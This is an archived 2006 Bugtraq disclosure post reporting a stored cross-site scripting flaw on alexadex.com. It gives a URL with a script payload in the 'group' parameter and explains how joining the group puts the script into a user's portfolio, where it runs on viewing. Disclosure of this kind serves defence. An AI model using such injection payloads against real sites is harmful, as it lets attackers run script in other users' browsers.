bugtraq - Alexadex.com players.py XSS Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 5 May 2006 08:10:04 -0000
From: skinnypuppy@...hmail.ai
To: bugtraq@...urityfocus.com
Subject: Alexadex.com players.py XSS Exploit


+++++++++++++++++++++++++++++++++++++
|Alexadex.com players.py XSS Exploit|
+++++++++++++++++++++++++++++++++++++
May 04,2006

++++++++++++++++++++++++++++++++
|XSS Exploition on alexadex.com|
++++++++++++++++++++++++++++++++

http://www.alexadex.com/ad/players?group=<script>alert("SKINNYPUPPY");</script>

What this will do is add a group with the name: <script>alert("SKINNYPUPPY");</script>

When you click the "Join this group" it sets the injected code to your Portfolio and when viewed it executes the injected code.

++++++++++++++++++++++++++++++++
EMAIL: skinnypuppy@...h.ai

demo: http://www.alexadex.com/ad/user/xss